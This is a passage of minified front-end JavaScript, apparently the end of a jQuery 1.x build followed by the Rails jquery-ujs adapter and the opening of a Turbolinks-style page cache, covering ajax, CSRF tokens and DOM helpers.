t===!1?it.removeAttr(e,n):Sn&&Nn||!Cn.test(n)?e.setAttribute(!Nn&&it.propFix[n]||n,n):e[it.camelCase("default-"+n)]=e[n]=!0,n}},it.each(it.expr.match.bool.source.match(/\w+/g),function(e,t){var n=kn[t]||it.find.attr;kn[t]=Sn&&Nn||!Cn.test(t)?function(e,t,r){var i,o;return r||(o=kn[t],kn[t]=i,i=null!=n(e,t,r)?t.toLowerCase():null,kn[t]=o),i}:function(e,t,n){return n?void 0:e[it.camelCase("default-"+t)]?t.toLowerCase():null}}),Sn&&Nn||(it.attrHooks.value={set:function(e,t,n){return it.nodeName(e,"input")?void(e.defaultValue=t):Tn&&Tn.set(e,t,n)}}),Nn||(Tn={set:function(e,t,n){var r=e.getAttributeNode(n);return r||e.setAttributeNode(r=e.ownerDocument.createAttribute(n)),r.value=t+="","value"===n||t===e.getAttribute(n)?t:void 0}},kn.id=kn.name=kn.coords=function(e,t,n){var r;return n?void 0:(r=e.getAttributeNode(t))&&""!==r.value?r.value:null},it.valHooks.button={get:function(e,t){var n=e.getAttributeNode(t);return n&&n.specified?n.value:void 0},set:Tn.set},it.attrHooks.contenteditable={set:function(e,t,n){Tn.set(e,""===t?!1:t,n)}},it.each(["width","height"],function(e,t){it.attrHooks[t]={set:function(e,n){return""===n?(e.setAttribute(t,"auto"),n):void 0}}})),nt.style||(it.attrHooks.style={get:function(e){return e.style.cssText||void 0},set:function(e,t){return e.style.cssText=t+""}});var jn=/^(?:input|select|textarea|button|object)$/i,An=/^(?:a|area)$/i;it.fn.extend({prop:function(e,t){return At(this,it.prop,e,t,arguments.length>1)},removeProp:function(e){return e=it.propFix[e]||e,this.each(function(){try{this[e]=void 0,delete this[e]}catch(t){}})}}),it.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(e,t,n){var r,i,o,a=e.nodeType;if(e&&3!==a&&8!==a&&2!==a)return o=1!==a||!it.isXMLDoc(e),o&&(t=it.propFix[t]||t,i=it.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=it.find.attr(e,"tabindex");return t?parseInt(t,10):jn.test(e.nodeName)||An.test(e.nodeName)&&e.href?0:-1}}}}),nt.hrefNormalized||it.each(["href","src"],function(e,t){it.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),nt.optSelected||(it.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),it.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){it.propFix[this.toLowerCase()]=this}),nt.enctype||(it.propFix.enctype="encoding");var Dn=/[\t\r\n\f]/g;it.fn.extend({addClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u="string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):" ")){for(o=0;i=t[o++];)r.indexOf(" "+i+" ")<0&&(r+=i+" ");a=it.trim(r),n.className!==a&&(n.className=a)}return this},removeClass:function(e){var t,n,r,i,o,a,s=0,l=this.length,u=0===arguments.length||"string"==typeof e&&e;if(it.isFunction(e))return this.each(function(t){it(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||"").match(bt)||[];l>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(Dn," "):"")){for(o=0;i=t[o++];)for(;r.indexOf(" "+i+" ")>=0;)r=r.replace(" "+i+" "," ");a=e?it.trim(r):"",n.className!==a&&(n.className=a)}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):this.each(it.isFunction(e)?function(n){it(this).toggleClass(e.call(this,n,this.className,t),t)}:function(){if("string"===n)for(var t,r=0,i=it(this),o=e.match(bt)||[];t=o[r++];)i.hasClass(t)?i.removeClass(t):i.addClass(t);else(n===Et||"boolean"===n)&&(this.className&&it._data(this,"__className__",this.className),this.className=this.className||e===!1?"":it._data(this,"__className__")||"")})},hasClass:function(e){for(var t=" "+e+" ",n=0,r=this.length;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(Dn," ").indexOf(t)>=0)return!0;return!1}}),it.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){it.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),it.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var Ln=it.now(),Hn=/\?/,_n=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;it.parseJSON=function(t){if(e.JSON&&e.JSON.parse)return e.JSON.parse(t+"");var n,r=null,i=it.trim(t+"");return i&&!it.trim(i.replace(_n,function(e,t,i,o){return n&&t&&(r=0),0===r?e:(n=i||t,r+=!o-!i,"")}))?Function("return "+i)():it.error("Invalid JSON: "+t)},it.parseXML=function(t){var n,r;if(!t||"string"!=typeof t)return null;try{e.DOMParser?(r=new DOMParser,n=r.parseFromString(t,"text/xml")):(n=new ActiveXObject("Microsoft.XMLDOM"),n.async="false",n.loadXML(t))}catch(i){n=void 0}return n&&n.documentElement&&!n.getElementsByTagName("parsererror").length||it.error("Invalid XML: "+t),n};var qn,Fn,Mn=/#.*$/,On=/([?&])_=[^&]*/,Rn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Bn=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Pn=/^(?:GET|HEAD)$/,In=/^\/\//,Wn=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,$n={},zn={},Xn="*/".concat("*");try{Fn=location.href}catch(Un){Fn=ht.createElement("a"),Fn.href="",Fn=Fn.href}qn=Wn.exec(Fn.toLowerCase())||[],it.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Fn,type:"GET",isLocal:Bn.test(qn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Xn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":it.parseJSON,"text xml":it.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?I(I(e,it.ajaxSettings),t):I(it.ajaxSettings,e)},ajaxPrefilter:B($n),ajaxTransport:B(zn),ajax:function(e,t){function n(e,t,n,r){var i,c,v,y,x,T=t;2!==b&&(b=2,s&&clearTimeout(s),u=void 0,a=r||"",w.readyState=e>0?4:0,i=e>=200&&300>e||304===e,n&&(y=W(d,w,n)),y=$(d,y,w,i),i?(d.ifModified&&(x=w.getResponseHeader("Last-Modified"),x&&(it.lastModified[o]=x),x=w.getResponseHeader("etag"),x&&(it.etag[o]=x)),204===e||"HEAD"===d.type?T="nocontent":304===e?T="notmodified":(T=y.state,c=y.data,v=y.error,i=!v)):(v=T,(e||!T)&&(T="error",0>e&&(e=0))),w.status=e,w.statusText=(t||T)+"",i?h.resolveWith(f,[c,T,w]):h.rejectWith(f,[w,T,v]),w.statusCode(g),g=void 0,l&&p.trigger(i?"ajaxSuccess":"ajaxError",[w,d,i?c:v]),m.fireWith(f,[w,T]),l&&(p.trigger("ajaxComplete",[w,d]),--it.active||it.event.trigger("ajaxStop")))}"object"==typeof e&&(t=e,e=void 0),t=t||{};var r,i,o,a,s,l,u,c,d=it.ajaxSetup({},t),f=d.context||d,p=d.context&&(f.nodeType||f.jquery)?it(f):it.event,h=it.Deferred(),m=it.Callbacks("once memory"),g=d.statusCode||{},v={},y={},b=0,x="canceled",w={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c)for(c={};t=Rn.exec(a);)c[t[1].toLowerCase()]=t[2];t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=y[n]=y[n]||e,v[e]=t),this},overrideMimeType:function(e){return b||(d.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)g[t]=[g[t],e[t]];else w.always(e[w.status]);return this},abort:function(e){var t=e||x;return u&&u.abort(t),n(0,t),this}};if(h.promise(w).complete=m.add,w.success=w.done,w.error=w.fail,d.url=((e||d.url||Fn)+"").replace(Mn,"").replace(In,qn[1]+"//"),d.type=t.method||t.type||d.method||d.type,d.dataTypes=it.trim(d.dataType||"*").toLowerCase().match(bt)||[""],null==d.crossDomain&&(r=Wn.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]===qn[1]&&r[2]===qn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(qn[3]||("http:"===qn[1]?"80":"443")))),d.data&&d.processData&&"string"!=typeof d.data&&(d.data=it.param(d.data,d.traditional)),P($n,d,t,w),2===b)return w;l=d.global,l&&0===it.active++&&it.event.trigger("ajaxStart"),d.type=d.type.toUpperCase(),d.hasContent=!Pn.test(d.type),o=d.url,d.hasContent||(d.data&&(o=d.url+=(Hn.test(o)?"&":"?")+d.data,delete d.data),d.cache===!1&&(d.url=On.test(o)?o.replace(On,"$1_="+Ln++):o+(Hn.test(o)?"&":"?")+"_="+Ln++)),d.ifModified&&(it.lastModified[o]&&w.setRequestHeader("If-Modified-Since",it.lastModified[o]),it.etag[o]&&w.setRequestHeader("If-None-Match",it.etag[o])),(d.data&&d.hasContent&&d.contentType!==!1||t.contentType)&&w.setRequestHeader("Content-Type",d.contentType),w.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+("*"!==d.dataTypes[0]?", "+Xn+"; q=0.01":""):d.accepts["*"]);for(i in d.headers)w.setRequestHeader(i,d.headers[i]);if(d.beforeSend&&(d.beforeSend.call(f,w,d)===!1||2===b))return w.abort();x="abort";for(i in{success:1,error:1,complete:1})w[i](d[i]);if(u=P(zn,d,t,w)){w.readyState=1,l&&p.trigger("ajaxSend",[w,d]),d.async&&d.timeout>0&&(s=setTimeout(function(){w.abort("timeout")},d.timeout));try{b=1,u.send(v,n)}catch(T){if(!(2>b))throw T;n(-1,T)}}else n(-1,"No Transport");return w},getJSON:function(e,t,n){return it.get(e,t,n,"json")},getScript:function(e,t){return it.get(e,void 0,t,"script")}}),it.each(["get","post"],function(e,t){it[t]=function(e,n,r,i){return it.isFunction(n)&&(i=i||r,r=n,n=void 0),it.ajax({url:e,type:t,dataType:i,data:n,success:r})}}),it.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){it.fn[t]=function(e){return this.on(t,e)}}),it._evalUrl=function(e){return it.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},it.fn.extend({wrapAll:function(e){if(it.isFunction(e))return this.each(function(t){it(this).wrapAll(e.call(this,t))});if(this[0]){var t=it(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return this.each(it.isFunction(e)?function(t){it(this).wrapInner(e.call(this,t))}:function(){var t=it(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=it.isFunction(e);return this.each(function(n){it(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){it.nodeName(this,"body")||it(this).replaceWith(this.childNodes)}).end()}}),it.expr.filters.hidden=function(e){return e.offsetWidth<=0&&e.offsetHeight<=0||!nt.reliableHiddenOffsets()&&"none"===(e.style&&e.style.display||it.css(e,"display"))},it.expr.filters.visible=function(e){return!it.expr.filters.hidden(e)};var Vn=/%20/g,Gn=/\[\]$/,Yn=/\r?\n/g,Jn=/^(?:submit|button|image|reset|file)$/i,Kn=/^(?:input|select|textarea|keygen)/i;it.param=function(e,t){var n,r=[],i=function(e,t){t=it.isFunction(t)?t():null==t?"":t,r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(void 0===t&&(t=it.ajaxSettings&&it.ajaxSettings.traditional),it.isArray(e)||e.jquery&&!it.isPlainObject(e))it.each(e,function(){i(this.name,this.value)});else for(n in e)z(n,e[n],t,i);return r.join("&").replace(Vn,"+")},it.fn.extend({serialize:function(){return it.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=it.prop(this,"elements");return e?it.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!it(this).is(":disabled")&&Kn.test(this.nodeName)&&!Jn.test(e)&&(this.checked||!Dt.test(e))}).map(function(e,t){var n=it(this).val();return null==n?null:it.isArray(n)?it.map(n,function(e){return{name:t.name,value:e.replace(Yn,"\r\n")}}):{name:t.name,value:n.replace(Yn,"\r\n")}}).get()}}),it.ajaxSettings.xhr=void 0!==e.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&X()||U()}:X;var Qn=0,Zn={},er=it.ajaxSettings.xhr();e.ActiveXObject&&it(e).on("unload",function(){for(var e in Zn)Zn[e](void 0,!0)}),nt.cors=!!er&&"withCredentials"in er,er=nt.ajax=!!er,er&&it.ajaxTransport(function(e){if(!e.crossDomain||nt.cors){var t;return{send:function(n,r){var i,o=e.xhr(),a=++Qn;if(o.open(e.type,e.url,e.async,e.username,e.password),e.xhrFields)for(i in e.xhrFields)o[i]=e.xhrFields[i];e.mimeType&&o.overrideMimeType&&o.overrideMimeType(e.mimeType),e.crossDomain||n["X-Requested-With"]||(n["X-Requested-With"]="XMLHttpRequest");for(i in n)void 0!==n[i]&&o.setRequestHeader(i,n[i]+"");o.send(e.hasContent&&e.data||null),t=function(n,i){var s,l,u;if(t&&(i||4===o.readyState))if(delete Zn[a],t=void 0,o.onreadystatechange=it.noop,i)4!==o.readyState&&o.abort();else{u={},s=o.status,"string"==typeof o.responseText&&(u.text=o.responseText);try{l=o.statusText}catch(c){l=""}s||!e.isLocal||e.crossDomain?1223===s&&(s=204):s=u.text?200:404}u&&r(s,l,u,o.getAllResponseHeaders())},e.async?4===o.readyState?setTimeout(t):o.onreadystatechange=Zn[a]=t:t()},abort:function(){t&&t(void 0,!0)}}}}),it.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return it.globalEval(e),e}}}),it.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),it.ajaxTransport("script",function(e){if(e.crossDomain){var t,n=ht.head||it("head")[0]||ht.documentElement;return{send:function(r,i){t=ht.createElement("script"),t.async=!0,e.scriptCharset&&(t.charset=e.scriptCharset),t.src=e.url,t.onload=t.onreadystatechange=function(e,n){(n||!t.readyState||/loaded|complete/.test(t.readyState))&&(t.onload=t.onreadystatechange=null,t.parentNode&&t.parentNode.removeChild(t),t=null,n||i(200,"success"))},n.insertBefore(t,n.firstChild)},abort:function(){t&&t.onload(void 0,!0)}}}});var tr=[],nr=/(=)\?(?=&|$)|\?\?/;it.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=tr.pop()||it.expando+"_"+Ln++;return this[e]=!0,e}}),it.ajaxPrefilter("json jsonp",function(t,n,r){var i,o,a,s=t.jsonp!==!1&&(nr.test(t.url)?"url":"string"==typeof t.data&&!(t.contentType||"").indexOf("application/x-www-form-urlencoded")&&nr.test(t.data)&&"data");return s||"jsonp"===t.dataTypes[0]?(i=t.jsonpCallback=it.isFunction(t.jsonpCallback)?t.jsonpCallback():t.jsonpCallback,s?t[s]=t[s].replace(nr,"$1"+i):t.jsonp!==!1&&(t.url+=(Hn.test(t.url)?"&":"?")+t.jsonp+"="+i),t.converters["script json"]=function(){return a||it.error(i+" was not called"),a[0]},t.dataTypes[0]="json",o=e[i],e[i]=function(){a=arguments},r.always(function(){e[i]=o,t[i]&&(t.jsonpCallback=n.jsonpCallback,tr.push(i)),a&&it.isFunction(o)&&o(a[0]),a=o=void 0}),"script"):void 0}),it.parseHTML=function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||ht;var r=dt.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=it.buildFragment([e],t,i),i&&i.length&&it(i).remove(),it.merge([],r.childNodes))};var rr=it.fn.load;it.fn.load=function(e,t,n){if("string"!=typeof e&&rr)return rr.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(" ");return s>=0&&(r=it.trim(e.slice(s,e.length)),e=e.slice(0,s)),it.isFunction(t)?(n=t,t=void 0):t&&"object"==typeof t&&(o="POST"),a.length>0&&it.ajax({url:e,type:o,dataType:"html",data:t}).done(function(e){i=arguments,a.html(r?it("<div>").append(it.parseHTML(e)).find(r):e)}).complete(n&&function(e,t){a.each(n,i||[e.responseText,t,e])}),this},it.expr.filters.animated=function(e){return it.grep(it.timers,function(t){return e===t.elem}).length};var ir=e.document.documentElement;it.offset={setOffset:function(e,t,n){var r,i,o,a,s,l,u,c=it.css(e,"position"),d=it(e),f={};"static"===c&&(e.style.position="relative"),s=d.offset(),o=it.css(e,"top"),l=it.css(e,"left"),u=("absolute"===c||"fixed"===c)&&it.inArray("auto",[o,l])>-1,u?(r=d.position(),a=r.top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(l)||0),it.isFunction(t)&&(t=t.call(e,n,s)),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):d.css(f)}},it.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){it.offset.setOffset(this,e,t)});var t,n,r={top:0,left:0},i=this[0],o=i&&i.ownerDocument;if(o)return t=o.documentElement,it.contains(t,i)?(typeof i.getBoundingClientRect!==Et&&(r=i.getBoundingClientRect()),n=V(o),{top:r.top+(n.pageYOffset||t.scrollTop)-(t.clientTop||0),left:r.left+(n.pageXOffset||t.scrollLeft)-(t.clientLeft||0)}):r},position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===it.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),it.nodeName(e[0],"html")||(n=e.offset()),n.top+=it.css(e[0],"borderTopWidth",!0),n.left+=it.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-it.css(r,"marginTop",!0),left:t.left-n.left-it.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent||ir;e&&!it.nodeName(e,"html")&&"static"===it.css(e,"position");)e=e.offsetParent;return e||ir})}}),it.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);it.fn[e]=function(r){return At(this,function(e,r,i){var o=V(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?it(o).scrollLeft():i,n?i:it(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),it.each(["top","left"],function(e,t){it.cssHooks[t]=N(nt.pixelPosition,function(e,n){return n?(n=tn(e,t),rn.test(n)?it(e).position()[t]+"px":n):void 0})}),it.each({Height:"height",Width:"width"},function(e,t){it.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){it.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return At(this,function(t,n,r){var i;return it.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?it.css(t,n,a):it.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),it.fn.size=function(){return this.length},it.fn.andSelf=it.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return it});var or=e.jQuery,ar=e.$;return it.noConflict=function(t){return e.$===it&&(e.$=ar),t&&e.jQuery===it&&(e.jQuery=or),it},typeof t===Et&&(e.jQuery=e.$=it),it}),function(e,t){e.rails!==t&&e.error("jquery-ujs has already been loaded!");var n,r=e(document);e.rails=n={linkClickSelector:"a[data-confirm], a[data-method], a[data-remote], a[data-disable-with], a[data-disable]",buttonClickSelector:"button[data-remote], button[data-confirm]",inputChangeSelector:"select[data-remote], input[data-remote], textarea[data-remote]",formSubmitSelector:"form",formInputClickSelector:"form input[type=submit], form input[type=image], form button[type=submit], form button:not([type])",disableSelector:"input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled",enableSelector:"input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled",requiredInputSelector:"input[name][required]:not([disabled]),textarea[name][required]:not([disabled])",fileInputSelector:"input[type=file]",linkDisableSelector:"a[data-disable-with], a[data-disable]",buttonDisableSelector:"button[data-remote][data-disable-with], button[data-remote][data-disable]",CSRFProtection:function(t){var n=e('meta[name="csrf-token"]').attr("content");n&&t.setRequestHeader("X-CSRF-Token",n)},refreshCSRFTokens:function(){var t=e("meta[name=csrf-token]").attr("content"),n=e("meta[name=csrf-param]").attr("content");e('form input[name="'+n+'"]').val(t)},fire:function(t,n,r){var i=e.Event(n);return t.trigger(i,r),i.result!==!1},confirm:function(e){return confirm(e)},ajax:function(t){return e.ajax(t)},href:function(e){return e.attr("href")},handleRemote:function(r){var i,o,a,s,l,u,c,d;if(n.fire(r,"ajax:before")){if(s=r.data("cross-domain"),l=s===t?null:s,u=r.data("with-credentials")||null,c=r.data("type")||e.ajaxSettings&&e.ajaxSettings.dataType,r.is("form")){i=r.attr("method"),o=r.attr("action"),a=r.serializeArray();var f=r.data("ujs:submit-button");f&&(a.push(f),r.data("ujs:submit-button",null))}else r.is(n.inputChangeSelector)?(i=r.data("method"),o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):r.is(n.buttonClickSelector)?(i=r.data("method")||"get",o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):(i=r.data("method"),o=n.href(r),a=r.data("params")||null);return d={type:i||"GET",data:a,dataType:c,beforeSend:function(e,i){return i.dataType===t&&e.setRequestHeader("accept","*/*;q=0.5, "+i.accepts.script),n.fire(r,"ajax:beforeSend",[e,i])?void r.trigger("ajax:send",e):!1
+},success:function(e,t,n){r.trigger("ajax:success",[e,t,n])},complete:function(e,t){r.trigger("ajax:complete",[e,t])},error:function(e,t,n){r.trigger("ajax:error",[e,t,n])},crossDomain:l},u&&(d.xhrFields={withCredentials:u}),o&&(d.url=o),n.ajax(d)}return!1},handleMethod:function(r){var i=n.href(r),o=r.data("method"),a=r.attr("target"),s=e("meta[name=csrf-token]").attr("content"),l=e("meta[name=csrf-param]").attr("content"),u=e('<form method="post" action="'+i+'"></form>'),c='<input name="_method" value="'+o+'" type="hidden" />';l!==t&&s!==t&&(c+='<input name="'+l+'" value="'+s+'" type="hidden" />'),a&&u.attr("target",a),u.hide().append(c).appendTo("body"),u.submit()},formElements:function(t,n){return t.is("form")?e(t[0].elements).filter(n):t.find(n)},disableFormElements:function(t){n.formElements(t,n.disableSelector).each(function(){n.disableFormElement(e(this))})},disableFormElement:function(e){var n,r;n=e.is("button")?"html":"val",r=e.data("disable-with"),e.data("ujs:enable-with",e[n]()),r!==t&&e[n](r),e.prop("disabled",!0)},enableFormElements:function(t){n.formElements(t,n.enableSelector).each(function(){n.enableFormElement(e(this))})},enableFormElement:function(e){var t=e.is("button")?"html":"val";e.data("ujs:enable-with")&&e[t](e.data("ujs:enable-with")),e.prop("disabled",!1)},allowAction:function(e){var t,r=e.data("confirm"),i=!1;return r?(n.fire(e,"confirm")&&(i=n.confirm(r),t=n.fire(e,"confirm:complete",[i])),i&&t):!0},blankInputs:function(t,n,r){var i,o,a=e(),s=n||"input,textarea",l=t.find(s);return l.each(function(){if(i=e(this),o=i.is("input[type=checkbox],input[type=radio]")?i.is(":checked"):i.val(),!o==!r){if(i.is("input[type=radio]")&&l.filter('input[type=radio]:checked[name="'+i.attr("name")+'"]').length)return!0;a=a.add(i)}}),a.length?a:!1},nonBlankInputs:function(e,t){return n.blankInputs(e,t,!0)},stopEverything:function(t){return e(t.target).trigger("ujs:everythingStopped"),t.stopImmediatePropagation(),!1},disableElement:function(e){var r=e.data("disable-with");e.data("ujs:enable-with",e.html()),r!==t&&e.html(r),e.bind("click.railsDisable",function(e){return n.stopEverything(e)})},enableElement:function(e){e.data("ujs:enable-with")!==t&&(e.html(e.data("ujs:enable-with")),e.removeData("ujs:enable-with")),e.unbind("click.railsDisable")}},n.fire(r,"rails:attachBindings")&&(e.ajaxPrefilter(function(e,t,r){e.crossDomain||n.CSRFProtection(r)}),r.delegate(n.linkDisableSelector,"ajax:complete",function(){n.enableElement(e(this))}),r.delegate(n.buttonDisableSelector,"ajax:complete",function(){n.enableFormElement(e(this))}),r.delegate(n.linkClickSelector,"click.rails",function(r){var i=e(this),o=i.data("method"),a=i.data("params"),s=r.metaKey||r.ctrlKey;if(!n.allowAction(i))return n.stopEverything(r);if(!s&&i.is(n.linkDisableSelector)&&n.disableElement(i),i.data("remote")!==t){if(s&&(!o||"GET"===o)&&!a)return!0;var l=n.handleRemote(i);return l===!1?n.enableElement(i):l.error(function(){n.enableElement(i)}),!1}return i.data("method")?(n.handleMethod(i),!1):void 0}),r.delegate(n.buttonClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);r.is(n.buttonDisableSelector)&&n.disableFormElement(r);var i=n.handleRemote(r);return i===!1?n.enableFormElement(r):i.error(function(){n.enableFormElement(r)}),!1}),r.delegate(n.inputChangeSelector,"change.rails",function(t){var r=e(this);return n.allowAction(r)?(n.handleRemote(r),!1):n.stopEverything(t)}),r.delegate(n.formSubmitSelector,"submit.rails",function(r){var i,o,a=e(this),s=a.data("remote")!==t;if(!n.allowAction(a))return n.stopEverything(r);if(a.attr("novalidate")==t&&(i=n.blankInputs(a,n.requiredInputSelector),i&&n.fire(a,"ajax:aborted:required",[i])))return n.stopEverything(r);if(s){if(o=n.nonBlankInputs(a,n.fileInputSelector)){setTimeout(function(){n.disableFormElements(a)},13);var l=n.fire(a,"ajax:aborted:file",[o]);return l||setTimeout(function(){n.enableFormElements(a)},13),l}return n.handleRemote(a),!1}setTimeout(function(){n.disableFormElements(a)},13)}),r.delegate(n.formInputClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);var i=r.attr("name"),o=i?{name:i,value:r.val()}:null;r.closest("form").data("ujs:submit-button",o)}),r.delegate(n.formSubmitSelector,"ajax:send.rails",function(t){this==t.target&&n.disableFormElements(e(this))}),r.delegate(n.formSubmitSelector,"ajax:complete.rails",function(t){this==t.target&&n.enableFormElements(e(this))}),e(function(){n.refreshCSRFTokens()}))}(jQuery),function(){var e,t,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v,y,b,x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B,P,I,W,$,z,X,U,V,G,Y=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},J={}.hasOwnProperty,K=function(e,t){function n(){this.constructor=e}for(var r in t)J.call(t,r)&&(e[r]=t[r]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},Q=[].slice;j={},d=10,$=!1,m=null,S=null,q=null,h=null,V=null,b=function(e){var t;return e=new n(e),B(),c(),F(e),$&&(t=z(e.absolute))?(x(t),w(e)):w(e,W)},z=function(e){var t;return t=j[e],t&&!t.transitionCacheDisabled?t:void 0},g=function(e){return null==e&&(e=!0),$=e},w=function(e,t){return null==t&&(t=function(){return function(){}}(this)),X("page:fetch",{url:e.absolute}),null!=V&&V.abort(),V=new XMLHttpRequest,V.open("GET",e.withoutHashForIE10compatibility(),!0),V.setRequestHeader("Accept","text/html, application/xhtml+xml, application/xml"),V.setRequestHeader("X-XHR-Referer",q),V.onload=function(){var n;return X("page:receive"),(n=H())?(f.apply(null,y(n)),M(),t(),X("page:load")):document.location.href=e.absolute},V.onloadend=function(){return V=null},V.onerror=function(){return document.location.href=e.absolute},V.send()},x=function(e){return null!=V&&V.abort(),f(e.title,e.body),_(e),X("page:restore")},c=function(){var e;return e=new n(m.url),j[e.absolute]={url:e.relative,body:document.body,title:document.title,positionY:window.pageYOffset,positionX:window.pageXOffset,cachedAt:(new Date).getTime(),transitionCacheDisabled:null!=document.querySelector("[data-no-transition-cache]")},p(d)},D=function(e){return null==e&&(e=d),/^[\d]+$/.test(e)?d=parseInt(e):void 0},p=function(e){var t,n,r,i,o,a;for(r=Object.keys(j),t=r.map(function(e){return j[e].cachedAt}).sort(function(e,t){return 